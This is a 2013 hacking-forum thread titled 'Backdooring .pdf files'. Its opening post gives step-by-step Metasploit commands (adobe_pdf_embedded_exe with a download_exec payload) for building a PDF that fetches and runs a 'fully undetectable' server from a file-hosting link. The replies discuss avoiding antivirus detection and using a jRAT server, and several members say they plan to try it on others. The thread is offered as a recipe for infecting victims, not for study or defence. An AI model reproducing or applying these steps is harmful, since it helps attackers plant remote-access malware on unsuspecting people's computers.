Sinisterly
Backdooring .pdf files - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Backdooring .pdf files (/Thread-Backdooring-pdf-files)

Pages: 1 2

Backdooring .pdf files - Corrupt - 01-18-2013

Didn't see this shit anywhere on here, so I might as well share.

Materials:
Any .pdf file of your choosing
Metasploit
Fully-Undetectable Server

First, you're going to have to upload your Server to a site with direct linking.

Such as, ge.tt or dropbox.

Step 1: Open up the metasploit console.

Step 2: Type into the console
Code:
use exploit/windows/fileformat/adobe_pdf_embedded_exe

Step 3: Type into the console
Code:
set payload windows/download_exec

Step 4: Type into the console
Code:
set INFILENAME <path to your pdf>

Step 5: Type into the console
Code:
set url <direct link to server>

Step 6: Type into the console
Code:
Exploit

The backdoored .pdf will be saved to the same directory as the original .pdf with the filename of 'evil.pdf'.

RE: Backdooring .pdf files - shizelkid - 01-18-2013

how easy is metasploit to learn? Plus i thought it didnt work with windows 7...?

RE: Backdooring .pdf files - zer0_s3c - 01-18-2013

Very nice bro. I'ma have to try this sometime. ^_^

RE: Backdooring .pdf files - Charon - 01-18-2013

Nice, I will surely use this!

Thank you for sharing Corrupt!

RE: Backdooring .pdf files - Anon_Error - 01-19-2013

Metasploit is very easy to use, just have to learn how to Tongue

RE: Backdooring .pdf files - King Cairo - 01-19-2013

I've heard that this isn't FUD tho... :S
Is that true?

RE: Backdooring .pdf files - Phytrix - 01-19-2013

(01-19-2013, 12:18 AM)King Cairo Wrote: I've heard that this isn't FUD tho... :S
Is that true?

If you have a FUD server it should be.

RE: Backdooring .pdf files - King Cairo - 01-19-2013

(01-19-2013, 12:20 AM)Phytrix Wrote:
(01-19-2013, 12:18 AM)King Cairo Wrote: I've heard that this isn't FUD tho... :S
Is that true?

If you have a FUD server it should be.

What if I use a .jar server? I mean a Jrat server. Will it work?
I'm pretty familiar with metasploit but I'm just asking. Biggrin

RE: Backdooring .pdf files - Phytrix - 01-19-2013

(01-19-2013, 12:21 AM)King Cairo Wrote:
(01-19-2013, 12:20 AM)Phytrix Wrote:
(01-19-2013, 12:18 AM)King Cairo Wrote: I've heard that this isn't FUD tho... :S
Is that true?

If you have a FUD server it should be.

What if I use a .jar server? I mean a Jrat server. Will it work?
I'm pretty familiar with metasploit but I'm just asking. Biggrin

If your server is FUD, despite what kind of server, it shouldn't be picked up by any AV/AM.

RE: Backdooring .pdf files - w00t - 01-19-2013

This exploits been patched for a while, and you have to use an exe on the other person's computer, so this wouldn't work.